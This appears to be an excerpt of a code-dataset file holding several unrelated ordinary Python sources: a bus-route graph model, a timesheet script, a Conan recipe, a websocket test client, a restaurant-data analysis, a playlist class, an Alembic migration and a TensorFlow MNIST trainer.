Grafo para representar las rutas entre estaciones\n components: Almacena la informacion de los componentes conectados\n paths: Estructura que almancena los caminos de costo minimo desde un\n vertice determinado a todos los otros vértices del grafo\n \"\"\"\n try:\n analyzer = {\n 'stops': None,\n 'connections': None,\n 'components': None,\n 'paths': None\n }\n\n analyzer['stops'] = m.newMap(numelements=14000,\n maptype='PROBING',\n comparefunction=compareStopIds)\n\n analyzer['connections'] = gr.newGraph(datastructure='ADJ_LIST',\n directed=True,\n size=14000,\n comparefunction=compareStopIds)\n return analyzer\n except Exception as exp:\n error.reraise(exp, 'model:newAnalyzer')\n\n\n# Funciones para agregar informacion al grafo\n\ndef addStopConnection(analyzer, lastservice, service):\n \"\"\"\n Adiciona las estaciones al grafo como vertices y arcos entre las\n estaciones adyacentes.\n\n Los vertices tienen por nombre el identificador de la estacion\n seguido de la ruta que sirve. Por ejemplo:\n\n 75009-10\n\n Si la estacion sirve otra ruta, se tiene: 75009-101\n \"\"\"\n try:\n origin = formatVertex(lastservice)\n destination = formatVertex(service)\n cleanServiceDistance(lastservice, service)\n distance = float(service['Distance']) - float(lastservice['Distance'])\n distance = abs(distance)\n addStop(analyzer, origin)\n addStop(analyzer, destination)\n addConnection(analyzer, origin, destination, distance)\n addRouteStop(analyzer, service)\n addRouteStop(analyzer, lastservice)\n return analyzer\n except Exception as exp:\n error.reraise(exp, 'model:addStopConnection')\n\n\ndef addStop(analyzer, stopid):\n \"\"\"\n Adiciona una estación como un vertice del grafo\n \"\"\"\n try:\n if not gr.containsVertex(analyzer['connections'], stopid):\n gr.insertVertex(analyzer['connections'], stopid)\n return analyzer\n except Exception as exp:\n error.reraise(exp, 'model:addstop')\n\n\ndef addRouteStop(analyzer, service):\n \"\"\"\n Agrega a una estacion, una ruta que es servida en ese paradero\n \"\"\"\n entry = m.get(analyzer['stops'], service['BusStopCode'])\n if entry is None:\n lstroutes = lt.newList(cmpfunction=compareroutes)\n lt.addLast(lstroutes, service['ServiceNo'])\n m.put(analyzer['stops'], service['BusStopCode'], lstroutes)\n else:\n lstroutes = entry['value']\n info = service['ServiceNo']\n if not lt.isPresent(lstroutes, info):\n lt.addLast(lstroutes, info)\n return analyzer\n\n\ndef addRouteConnections(analyzer):\n \"\"\"\n Por cada vertice (cada estacion) se recorre la lista\n de rutas servidas en dicha estación y se crean\n arcos entre ellas para representar el cambio de ruta\n que se puede realizar en una estación.\n \"\"\"\n lststops = m.keySet(analyzer['stops'])\n for key in lt.iterator(lststops):\n lstroutes = m.get(analyzer['stops'], key)['value']\n prevrout = None\n for route in lt.iterator(lstroutes):\n route = key + '-' + route\n if prevrout is not None:\n addConnection(analyzer, prevrout, route, 0)\n addConnection(analyzer, route, prevrout, 0)\n prevrout = route\n\n\ndef addConnection(analyzer, origin, destination, distance):\n \"\"\"\n Adiciona un arco entre dos estaciones\n \"\"\"\n edge = gr.getEdge(analyzer['connections'], origin, destination)\n if edge is None:\n gr.addEdge(analyzer['connections'], origin, destination, distance)\n return analyzer\n\n# ==============================\n# Funciones de consulta\n# ==============================\n\n\ndef connectedComponents(analyzer):\n \"\"\"\n Calcula los componentes conectados del grafo\n Se utiliza el algoritmo de Kosaraju\n \"\"\"\n analyzer['components'] = scc.KosarajuSCC(analyzer['connections'])\n return scc.connectedComponents(analyzer['components'])\n\n\ndef minimumCostPaths(analyzer, initialStation):\n \"\"\"\n Calcula los caminos de costo mínimo desde la estacion initialStation\n a todos los demas vertices del grafo\n \"\"\"\n analyzer['paths'] = djk.Dijkstra(analyzer['connections'], initialStation)\n return analyzer\n\n\ndef hasPath(analyzer, destStation):\n \"\"\"\n Indica si existe un camino desde la estacion inicial a la estación destino\n Se debe ejecutar primero la funcion minimumCostPaths\n \"\"\"\n return djk.hasPathTo(analyzer['paths'], destStation)\n\n\ndef minimumCostPath(analyzer, destStation):\n \"\"\"\n Retorna el camino de costo minimo entre la estacion de inicio\n y la estacion destino\n Se debe ejecutar primero la funcion minimumCostPaths\n \"\"\"\n path = djk.pathTo(analyzer['paths'], destStation)\n return path\n\n\ndef totalStops(analyzer):\n \"\"\"\n Retorna el total de estaciones (vertices) del grafo\n \"\"\"\n return gr.numVertices(analyzer['connections'])\n\n\ndef totalConnections(analyzer):\n \"\"\"\n Retorna el total arcos del grafo\n \"\"\"\n return gr.numEdges(analyzer['connections'])\n\n\ndef servedRoutes(analyzer):\n \"\"\"\n Retorna la estación que sirve a mas rutas.\n Si existen varias rutas con el mismo numero se\n retorna una de ellas\n \"\"\"\n lstvert = m.keySet(analyzer['stops'])\n maxvert = None\n maxdeg = 0\n for vert in lt.iterator(lstvert):\n lstroutes = m.get(analyzer['stops'], vert)['value']\n degree = lt.size(lstroutes)\n if(degree > maxdeg):\n maxvert = vert\n maxdeg = degree\n return maxvert, maxdeg\n\n\n# ==============================\n# Funciones Helper\n# ==============================\n\ndef cleanServiceDistance(lastservice, service):\n \"\"\"\n En caso de que el archivo tenga un espacio en la\n distancia, se reemplaza con cero.\n \"\"\"\n if service['Distance'] == '':\n service['Distance'] = 0\n if lastservice['Distance'] == '':\n lastservice['Distance'] = 0\n\n\ndef formatVertex(service):\n \"\"\"\n Se formatea el nombrer del vertice con el id de la estación\n seguido de la ruta.\n \"\"\"\n name = service['BusStopCode'] + '-'\n name = name + service['ServiceNo']\n return name\n\n\n# ==============================\n# Funciones de Comparacion\n# ==============================\n\n\ndef compareStopIds(stop, keyvaluestop):\n \"\"\"\n Compara dos estaciones\n \"\"\"\n stopcode = keyvaluestop['key']\n if (stop == stopcode):\n return 0\n elif (stop > stopcode):\n return 1\n else:\n return -1\n\n\ndef compareroutes(route1, route2):\n \"\"\"\n Compara dos rutas\n \"\"\"\n if (route1 == route2):\n return 0\n elif (route1 > route2):\n return 1\n else:\n return -1\n","sub_path":"App/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"550976411","text":"import datetime, calendar, csv\nfrom datetime import date, timedelta\n\ndef pontaj(first_name,last_name, marca,cnp,location,team,team_leader_email,concediu,oohrequest):\n\n transport=80\n\n monthDays = calendar.monthrange(datetime.datetime.now().year, datetime.datetime.now().month)\n days = int(monthDays)\n workingDays, satAndSun = 0, 0\n\n for i in range(1, days + 1, 1):\n if ((calendar.weekday(datetime.datetime.now().year, datetime.datetime.now().month, i) == 0) or (\n calendar.weekday(datetime.datetime.now().year, datetime.datetime.now().month, i) == 6)):\n satAndSun += 1\n else:\n workingDays += 1\n workingHours=workingDays*8\n number_tickets=workingDays\n hours_worked=workingHours\n hours_paid=0\n with open('pontaj.csv','wb') as csvfile:\n fieldnames=['Prenume','Nume','Marca','CNP','Locatia','Echipa','Email TL']\n writer=csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n writer.writerow({'Prenume' : first_name,'Nume': last_name,'Marca':marca,'CNP':cnp,'Locatia':location,'Echipa':team,'Email TL':team_leader_email})\n\n fieldnames1 = ['Concediu']\n writer1=csv.DictWriter(csvfile,fieldnames=fieldnames1)\n if concediu==True:\n start_date=raw_input(\"Start date (YYYY-MM-DD):\")\n end_date=raw_input(\"End_date (YYYY-MM-DD):\")\n fieldnames1.insert(len(fieldnames1)+1,'Start')\n fieldnames1.append('End')\n fieldnames1.insert(len(fieldnames1)+1,'Zile libere')\n writer1.writeheader()\n\n start_date1 = start_date.split('-')\n end_date1 = end_date.split('-')\n\n start_year, start_month, start_day = int(start_date1[0]), int(start_date1[1]), int(start_date1[2])\n end_year, end_month, end_day = int(end_date1[0]), int(end_date1[1]), int(end_date1[2])\n fromdate = date(start_year, start_month, start_day - 1)\n todate = date(end_year, end_month, end_day)\n\n if(start_month==end_month):\n fromdate = fromdate\n todate = todate\n elif ((start_monthend_month and start_year=%s]@ubitrack/stable\" % version,\n \"ubitrack_component_core/[>=%s]@ubitrack/stable\" % version,\n \"ubitrack_dataflow/[>=%s]@ubitrack/stable\" % version,\n \"ubitrack_facade/[>=%s]@ubitrack/stable\" % version,\n \"ubitrack_virtualenv_generator/[>=%s]@ubitrack/stable\" % version,\n )\n\n def config_options(self):\n if not self.options.with_vision:\n self.options.remove(\"with_default_camera\")\n self.options.remove(\"with_default_flycapture\")\n self.options.remove(\"with_default_directshow\")\n\n if self.settings.os != \"Windows\" or not self.options.with_vision:\n self.options.remove(\"with_camera_kinect2\")\n\n\n def requirements(self):\n\n if self.options.with_vision:\n self.requires(\"ubitrack_vision/[>=%s]@ubitrack/stable\" % self.version) \n self.requires(\"ubitrack_component_vision/[>=%s]@ubitrack/stable\" % self.version)\n\n if self.options.with_vision_aruco:\n self.requires(\"ubitrack_component_vision_aruco/[>=%s]@ubitrack/stable\" % self.version)\n\n if self.options.with_default_camera:\n if self.settings.os == \"Macos\":\n self.requires(\"ubitrack_device_camera_avfoundation/[>=%s]@ubitrack/stable\" % self.version)\n elif self.settings.os == \"Windows\":\n self.requires(\"ubitrack_device_camera_msmf/[>=%s]@ubitrack/stable\" % self.version)\n elif self.settings.os == \"Linux\":\n self.requires(\"ubitrack_device_camera_v4l/[>=%s]@ubitrack/stable\" % self.version)\n else:\n self.output.warn(\"No default camera found for OS: %s\" % self.settings.os)\n if self.settings.os == \"Windows\" and self.options.with_camera_directshow:\n self.requires(\"ubitrack_device_camera_directshow/[>=%s]@ubitrack/stable\" % self.version)\n if self.settings.os == \"Windows\" and self.options.with_camera_kinect2:\n self.requires(\"ubitrack_device_camera_kinect2/[>=%s]@ubitrack/stable\" % self.version)\n if self.options.with_camera_flycapture:\n self.requires(\"ubitrack_device_camera_flycapture/[>=%s]@ubitrack/stable\" % self.version)\n\n if self.options.with_visualization:\n self.requires(\"ubitrack_visualization/[>=%s]@ubitrack/stable\" % self.version)\n self.requires(\"ubitrack_component_visualization/[>=%s]@ubitrack/stable\" % self.version)\n\n if self.options.with_tracker_art:\n self.requires(\"ubitrack_device_tracker_art/[>=%s]@ubitrack/stable\" % self.version)\n\n if self.options.with_network:\n self.requires(\"ubitrack_device_comm_zmq/[>=%s]@ubitrack/stable\" % self.version)\n\n if self.options.with_haptic_calibration:\n self.requires(\"ubitrack_hapticcalibration/[>=%s]@ubitrack/stable\" % self.version)\n self.requires(\"ubitrack_component_hapticcalibration/[>=%s]@ubitrack/stable\" % self.version)\n\n\n","sub_path":"conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":4575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"467417053","text":"import _thread as thread\r\nimport base64\r\nimport json\r\nimport time\r\nimport wave\r\nimport websocket\r\n\r\nfrom utils.help import api_data,events_request\r\n\r\n\r\nclass WSRequest(object):\r\n def __init__(self, url, header=None):\r\n super(WSRequest, self).__init__()\r\n self.connect_start_time = 0 # 开始连接websocket\r\n self.receive_start_time = 0 # 发送完音频数据,开始接收数据\r\n\r\n self.speech_path = ''\r\n self.result_seg = {}\r\n self.exit_test = False\r\n\r\n # log txt Request.txt记录请求响应结果,asserterror.txt记录asr语音识别不一致结果\r\n self.file_name=time.strftime(\"%Y%m%d%H%M%S\")+'_Request.txt'\r\n self.error_file_name=time.strftime(\"%Y%m%d%H%M%S\")+'_asserterror.txt'\r\n\r\n \r\n self.ws = websocket.WebSocketApp(url,\r\n header=header,\r\n on_error=self.on_error,\r\n on_close=self.on_close,\r\n on_ping=self.on_ping,\r\n on_pong=self.on_pong)\r\n\r\n def on_ping(self,ws):\r\n print('===on_ping===')\r\n\r\n def on_pong(self,ws):\r\n print('===on_pong===')\r\n \r\n\r\n def on_error(self,ws, error):\r\n total_time = int((time.time() - self.connect_start_time) * 1000)\r\n events_request(\"failed\",\"websocket\", \"ERROR\",\"ERROR\", total_time,e=error)\r\n print(\"####### on_error #######\")\r\n print(error)\r\n # 发生错误时关闭websocket连接\r\n self.ws.close()\r\n\r\n def on_close(self,ws,status_code,msg):\r\n total_time = int((time.time() - self.connect_start_time) * 1000)\r\n events_request(\"success\",\"websocket\", \"CLOSE\",\"CLOSE\", total_time,e=msg)\r\n print('\\n---------on_close---------\\n', time.time(), '\\nstatus code:{}\\n msg:{}'.format(status_code,msg))\r\n\r\n\r\n def read_wav(self, speech_path, mode=1):\r\n self.speech_path = speech_path\r\n if mode == 2:\r\n # huiyan yunzhisheng\r\n with open(speech_path, mode=\"rb\") as f:\r\n self.pcm_bytes = f.read(-1)\r\n return\r\n with wave.open(speech_path, mode=\"rb\") as f:\r\n self.pcm_bytes = f.readframes(-1)\r\n\r\n\r\n def start(self, on_open=None, on_message=None):\r\n #websocket.enableTrace(True) \r\n self.connect_start_time = time.time()\r\n\r\n http_proxy_host = None\r\n http_proxy_port = None\r\n if api_data()['is_use_fiddler']:\r\n http_proxy_host='localhost'\r\n http_proxy_port=8888\r\n\r\n print('\\n---------start---------\\n', self.connect_start_time, '\\n')\r\n\r\n self.result_seg = {}\r\n self.ws.on_open=on_open\r\n self.ws.on_message=on_message\r\n self.ws.run_forever(http_proxy_host=http_proxy_host,http_proxy_port=http_proxy_port)\r\n total_time = int((time.time()-self.connect_start_time)*1000)\r\n\r\n print('\\n---------finish---------\\nwebsocket 总耗时:\\n', (time.time()-self.connect_start_time)*1000, 'ms\\n')\r\n\r\n text_seg = [self.result_seg[index]['str'] for index in self.result_seg]\r\n text = ''.join(text_seg)\r\n print('---------------\\nresult:\\n', text)\r\n\r\n return total_time\r\n","sub_path":"utils/ws_request.py","file_name":"ws_request.py","file_ext":"py","file_size_in_byte":3221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"430588268","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Sep 12 08:07:39 2018\r\n\r\n@author: 刘磊\r\n\"\"\"\r\nimport os \r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom bokeh.plotting import figure,show,output_file\r\nfrom bokeh.models import ColumnDataSource\r\n\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\n\r\n'''\r\n1.加载数据\r\n'''\r\n\r\nos.chdir(r'G:\\python-study\\python学习资料\\python数据分析师\\CLASSDATA_ch06数据分析项目实战\\CLASSDATA_ch06数据分析项目实战\\练习03_城市餐饮店铺选址分析')\r\ndata=pd.read_excel('上海餐饮数据.xlsx',sheet_name=0)\r\ndata_length=len(data)\r\ndata_columns=data.columns.tolist()\r\nprint('数据量为%i条'%data_length)\r\nprint('字段有:\\n',data_columns)\r\nprint('类别有:',data['类别'].unique())\r\n#print(data.head(2))\r\n\r\n\r\n'''\r\n2.口味、人均消费、性价比指标计算\r\n'''\r\n\r\ndata1 = data[['类别','口味', '环境', '服务', '人均消费']]\r\n\r\n# 筛选数据,清除空值、为0的数据\r\ndata1.dropna(inplace=True)\r\ndata1=data1[(data1['口味']>0) & (data1['人均消费']>0)]\r\n\r\ndata1['性价比']=data1[['口味', '环境', '服务']].sum(axis=1)/data1['人均消费']\r\n\r\n#查看异常值\r\ndef wrong_look():\r\n fig,axes=plt.subplots(1,3,figsize=(10,4))\r\n data1.boxplot(column=['口味'],ax=axes[0])\r\n data1.boxplot(column=['人均消费'],ax=axes[1])\r\n data1.boxplot(column=['性价比'],ax=axes[2])\r\n\r\n\r\n#异常值去除\r\ndef wrong_off(df,col):\r\n q1=df[col].quantile(q=0.25)\r\n q3=df[col].quantile(q=0.75)\r\n iqr=q3-q1\r\n t1=q1-3*iqr\r\n t3=q1+3*iqr\r\n return df[(df[col]>t1)&(df[col] 0:\n self._index -= 1\n elif self.loop:\n self._index = len(self._track_list)\n\n item = self._track_list[self._index]\n self.set_current_item(*item)\n \n return self.get_current_item()\n \n def next_item(self, user_request=False):\n if self.smart:\n self._smart_queue.next_item(user_request=user_request)\n item = self.get_current_item()\n self.set_current_item(*item)\n else:\n if self.random:\n self._index = random.randint(0, len(self._track_list))\n elif self._index < len(self._track_list)-1:\n self._index += 1\n elif self.loop:\n self._index = 0\n else:\n self._index = -1\n\n item = (None, None, None)\n if self._track_list and self._index > -1:\n item = self._track_list[self._index]\n if item != self.get_current_item():\n self.set_current_item(*item)\n else:\n self.set_current_item(*item)\n\n return item\n \n def tracks(self):\n if self.smart:\n tracks = []\n else:\n tracks = self._track_list\n return tracks\n \n def add_track(self, uri, play_now):\n media = None\n if uri.startswith('file://'):\n path = uri[7:]\n media = self.db.get_media_with_path(path)\n if media:\n self._track_list.append((media.id, uri, media.title))\n self.emit('track-added', media, play_now)\n \n def del_track(self, index):\n try:\n item = self._track_list[index]\n except IndexError:\n self.warning(\"No track found at index %r\", index)\n else:\n self.emit('track-removed', index)\n del self._track_list[index]\n\n def enqueue_album(self, album_id, play_now):\n tracks = self.db.get_tracks_for_album(album_id)\n for track in tracks:\n uri = \"file://%s\" % track.path\n self._track_list.append((track.id, uri, track.title))\n self.emit('track-added', track, play_now)\n if play_now:\n play_now = False\n \ngobject.type_register(Playlist)\n","sub_path":"shuffler/core/playlist.py","file_name":"playlist.py","file_ext":"py","file_size_in_byte":6418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"609283788","text":"\"\"\"\nCodec definition for mp3 files\n\"\"\"\nfrom ..constants import CodecFormat\nfrom .base import Codec\n\nENCODER_ARGUMENT_DEFAULTS = {\n 'afconvert': {\n 'defaults': {\n 'bitrate': 320,\n }\n },\n 'lame': {\n 'choices': {\n 'bitrate': [64, 128, 192, 256, 320],\n },\n 'defaults': {\n 'bitrate': 320,\n }\n }\n}\n\n\nclass Mp3(Codec):\n \"\"\"\n MPEG-2 mp3 codec\n \"\"\"\n codec_format = CodecFormat.MP3\n description = 'MPEG-2 Audio Layer III'\n default_suffix = CodecFormat.MP3.value\n suffixes = (\n CodecFormat.MP3.value,\n )\n mimetypes = (\n 'audio/mpeg',\n 'audio/MPA',\n 'audio/mpa-robust',\n )\n","sub_path":"oodi/codecs/formats/mp3.py","file_name":"mp3.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"157186903","text":"\"\"\"empty message\n\nRevision ID: 57469fc189cb\nRevises: 2cc88a062410\nCreate Date: 2018-08-13 00:47:51.955870\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '57469fc189cb'\ndown_revision = '2cc88a062410'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('restaurant_chain',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('created_at', sa.DateTime(timezone=True), nullable=True),\n sa.Column('updated_at', sa.DateTime(timezone=True), nullable=True),\n sa.Column('restaurant_chain_name', sa.String(), nullable=True),\n sa.Column('restaurant_chain_category', sa.Integer(), nullable=True),\n sa.Column('restaurant_chain_desc', sa.Text(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_restaurant_chain_id'), 'restaurant_chain', ['id'], unique=False)\n op.create_table('hotel_collection',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('created_at', sa.DateTime(timezone=True), nullable=True),\n sa.Column('updated_at', sa.DateTime(timezone=True), nullable=True),\n sa.Column('hotel_id', sa.Integer(), nullable=True),\n sa.Column('collection_name', sa.String(), nullable=True),\n sa.Column('featured', sa.Boolean(), nullable=True),\n sa.Column('desc', sa.Text(), nullable=True),\n sa.Column('image', sa.String(), nullable=True),\n sa.ForeignKeyConstraint(['hotel_id'], ['hotel.id'], ),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('hotel_id')\n )\n op.create_index(op.f('ix_hotel_collection_id'), 'hotel_collection', ['id'], unique=False)\n op.create_table('collection_product',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('created_at', sa.DateTime(timezone=True), nullable=True),\n sa.Column('updated_at', sa.DateTime(timezone=True), nullable=True),\n sa.Column('hotel_collection_id', sa.Integer(), nullable=False),\n sa.Column('product_url', sa.String(), nullable=True),\n sa.Column('product_name', sa.String(), nullable=True),\n sa.Column('featured_product', sa.Boolean(), nullable=True),\n sa.Column('product_desc', sa.Text(), nullable=True),\n sa.Column('product_image', sa.String(), nullable=True),\n sa.ForeignKeyConstraint(['hotel_collection_id'], ['hotel_collection.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_collection_product_id'), 'collection_product', ['id'], unique=False)\n op.add_column('restaurant', sa.Column('break_interval', sa.Integer(), nullable=True))\n op.add_column('restaurant', sa.Column('break_time', sa.TIME(), nullable=True))\n op.add_column('restaurant', sa.Column('closing_time', sa.TIME(), nullable=True))\n op.add_column('restaurant', sa.Column('mode_of_payment', sa.Integer(), nullable=True))\n op.add_column('restaurant', sa.Column('off_day_in_week', sa.String(), nullable=True))\n op.add_column('restaurant', sa.Column('opening_time', sa.TIME(), nullable=True))\n op.add_column('restaurant', sa.Column('restaurant_chain_id', sa.Integer(), nullable=True))\n op.add_column('restaurant', sa.Column('state', sa.String(), nullable=True))\n op.create_foreign_key(None, 'restaurant', 'restaurant_chain', ['restaurant_chain_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'restaurant', type_='foreignkey')\n op.drop_column('restaurant', 'state')\n op.drop_column('restaurant', 'restaurant_chain_id')\n op.drop_column('restaurant', 'opening_time')\n op.drop_column('restaurant', 'off_day_in_week')\n op.drop_column('restaurant', 'mode_of_payment')\n op.drop_column('restaurant', 'closing_time')\n op.drop_column('restaurant', 'break_time')\n op.drop_column('restaurant', 'break_interval')\n op.drop_index(op.f('ix_collection_product_id'), table_name='collection_product')\n op.drop_table('collection_product')\n op.drop_index(op.f('ix_hotel_collection_id'), table_name='hotel_collection')\n op.drop_table('hotel_collection')\n op.drop_index(op.f('ix_restaurant_chain_id'), table_name='restaurant_chain')\n op.drop_table('restaurant_chain')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/57469fc189cb_.py","file_name":"57469fc189cb_.py","file_ext":"py","file_size_in_byte":4295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"496556043","text":"# Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Runs MNIST using Distribution Strategies.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport json\nimport logging\nimport numpy as np\nimport os\n\nfrom tensorboard.plugins.core import core_plugin\nimport tensorboard.program as tb_program\n\nimport tensorflow as tf\n\n\ndef get_args():\n \"\"\"Argument parser.\n\n Returns:\n Dictionary of arguments.\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--working-dir',\n type=str,\n required=True,\n help='GCS location to write checkpoints and export models')\n parser.add_argument(\n '--num-epochs',\n type=float,\n default=5,\n help='number of times to go through the data, default=5')\n parser.add_argument(\n '--batch-size',\n default=128,\n type=int,\n help='number of records to read during each training step, default=128')\n parser.add_argument(\n '--learning-rate',\n default=.01,\n type=float,\n help='learning rate for gradient descent, default=.001')\n parser.add_argument(\n '--verbosity',\n choices=['DEBUG', 'ERROR', 'FATAL', 'INFO', 'WARN'],\n default='INFO')\n args, _ = parser.parse_known_args()\n return args\n\n\ndef get_distribution_strategy():\n cluster_spec = os.environ.get(\"CLUSTER_SPEC\", None)\n if cluster_spec:\n cluster_spec = json.loads(cluster_spec)\n job_index = int(os.environ[\"TASK_INDEX\"])\n job_type = os.environ[\"JOB_NAME\"]\n # Build cluster spec\n os.environ['TF_CONFIG'] = json.dumps(\n {'cluster': cluster_spec,\n 'task': {'type': job_type, 'index': job_index}})\n\n print('Distribution enabled: ', os.environ['TF_CONFIG'])\n else:\n print('Distribution is not enabled')\n\n\ndef create_model(model_dir, config, learning_rate):\n \"\"\"Creates a Keras Sequential model with layers.\n\n Args:\n model_dir: (str) file path where training files will be written.\n config: (tf.estimator.RunConfig) Configuration options to save model.\n learning_rate: (int) Learning rate.\n\n Returns:\n A keras.Model\n \"\"\"\n l = tf.keras.layers\n model = tf.keras.Sequential(\n [\n l.Reshape(input_shape=(28 * 28,), target_shape=(28, 28, 1)),\n\n l.Conv2D(filters=6, kernel_size=3, padding='same',\n use_bias=False),\n # no bias necessary before batch norm\n l.BatchNormalization(scale=False, center=True),\n # no batch norm scaling necessary before \"relu\"\n l.Activation('relu'), # activation after batch norm\n\n l.Conv2D(filters=12, kernel_size=6, padding='same',\n use_bias=False,\n strides=2),\n l.BatchNormalization(scale=False, center=True),\n l.Activation('relu'),\n\n l.Conv2D(filters=24, kernel_size=6, padding='same',\n use_bias=False,\n strides=2),\n l.BatchNormalization(scale=False, center=True),\n l.Activation('relu'),\n\n l.Flatten(),\n l.Dense(200, use_bias=False),\n l.BatchNormalization(scale=False, center=True),\n l.Activation('relu'),\n l.Dropout(0.5), # Dropout on dense layer only\n\n l.Dense(10, activation='softmax')\n ])\n # Compile model with learning parameters.\n optimizer = tf.train.GradientDescentOptimizer(learning_rate=learning_rate)\n model.compile(\n optimizer=optimizer,\n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n tf.keras.backend.set_learning_phase(True)\n model.summary()\n estimator = tf.keras.estimator.model_to_estimator(\n keras_model=model, model_dir=model_dir, config=config)\n return estimator\n\n\ndef input_fn(features, labels, batch_size, mode):\n \"\"\"Input function.\n\n Args:\n features: (numpy.array) Training or eval data.\n labels: (numpy.array) Labels for training or eval data.\n batch_size: (int)\n mode: tf.estimator.ModeKeys mode\n\n Returns:\n A tf.estimator.\n \"\"\"\n # Default settings for training.\n if labels is None:\n inputs = features\n else:\n # Change numpy array shape.\n inputs = (features, labels)\n # Convert the inputs to a Dataset.\n dataset = tf.data.Dataset.from_tensor_slices(inputs)\n if mode == tf.estimator.ModeKeys.TRAIN:\n dataset = dataset.shuffle(1000).repeat().batch(batch_size)\n dataset = dataset.prefetch(100)\n if mode in (tf.estimator.ModeKeys.EVAL, tf.estimator.ModeKeys.PREDICT):\n dataset = dataset.batch(batch_size)\n return dataset\n\n\ndef serving_input_fn():\n \"\"\"Defines the features to be passed to the model during inference.\n\n Expects already tokenized and padded representation of sentences\n\n Returns:\n A tf.estimator.export.ServingInputReceiver\n \"\"\"\n feature_placeholder = tf.placeholder(tf.float32, [None, 28 * 28])\n features = feature_placeholder\n return tf.estimator.export.TensorServingInputReceiver(features,\n feature_placeholder)\n\n\ndef _get_session_config_from_env_var():\n \"\"\"Returns a tf.ConfigProto instance with appropriate device_filters set.\"\"\"\n\n tf_config = json.loads(os.environ.get('TF_CONFIG', '{}'))\n\n # GPU limit: TensorFlow by default allocates all GPU memory:\n # If multiple workers run in same host you may see OOM errors:\n # Use as workaround if not using Hadoop 3.1\n # Change percentage accordingly:\n # gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.25)\n\n if (tf_config and 'task' in tf_config and 'type' in tf_config['task'] and\n 'index' in tf_config['task']):\n # Master should only communicate with itself and ps.\n if tf_config['task']['type'] == 'master':\n return tf.ConfigProto(device_filters=['/job:ps', '/job:master'])\n # Worker should only communicate with itself and ps.\n elif tf_config['task']['type'] == 'worker':\n return tf.ConfigProto(#gpu_options=gpu_options,\n device_filters=[\n '/job:ps',\n '/job:worker/task:%d' % tf_config['task'][\n 'index']\n ])\n return None\n\n\ndef start_tensorboard(logdir):\n tb = tb_program.TensorBoard(plugins=[core_plugin.CorePluginLoader()])\n port = int(os.getenv('TB_PORT', 6006))\n tb.configure(logdir=logdir, port=port)\n tb.launch()\n logging.info(\"Starting TensorBoard with --logdir=%s\" % logdir)\n\n\ndef train_and_evaluate(args):\n \"\"\"Helper function: Trains and evaluates model.\n\n Args:\n args: (dict) Command line parameters passed from task.py\n \"\"\"\n # Loads data.\n (train_images, train_labels), (\n test_images, test_labels) = tf.keras.datasets.mnist.load_data()\n\n # Scale values to a range of 0 to 1.\n train_images = train_images / 255.0\n test_images = test_images / 255.0\n\n # Shape numpy array.\n train_labels = np.asarray(train_labels).astype('int').reshape((-1, 1))\n test_labels = np.asarray(test_labels).astype('int').reshape((-1, 1))\n\n # Define training steps.\n train_steps = len(train_images) / args.batch_size\n get_distribution_strategy()\n\n hook = tf.train.ProfilerHook(save_steps=100,\n output_dir=args.working_dir,\n show_memory=True)\n\n # Define running config.\n run_config = tf.estimator.RunConfig(\n experimental_distribute=tf.contrib.distribute.DistributeConfig(\n train_distribute=tf.contrib.distribute.ParameterServerStrategy(),\n eval_distribute=tf.contrib.distribute.MirroredStrategy()),\n session_config=_get_session_config_from_env_var(),\n model_dir=args.working_dir,\n save_summary_steps=100,\n log_step_count_steps=100,\n save_checkpoints_steps=500)\n # Create estimator.\n estimator = create_model(\n model_dir=args.working_dir,\n config=run_config,\n learning_rate=args.learning_rate)\n # Create TrainSpec.\n train_spec = tf.estimator.TrainSpec(\n input_fn=lambda: input_fn(\n train_images,\n train_labels,\n args.batch_size,\n mode=tf.estimator.ModeKeys.TRAIN),\n # hooks=[hook], # Uncomment if needed to debug.\n max_steps=train_steps)\n # Create EvalSpec.\n exporter = tf.estimator.FinalExporter('exporter', serving_input_fn)\n eval_spec = 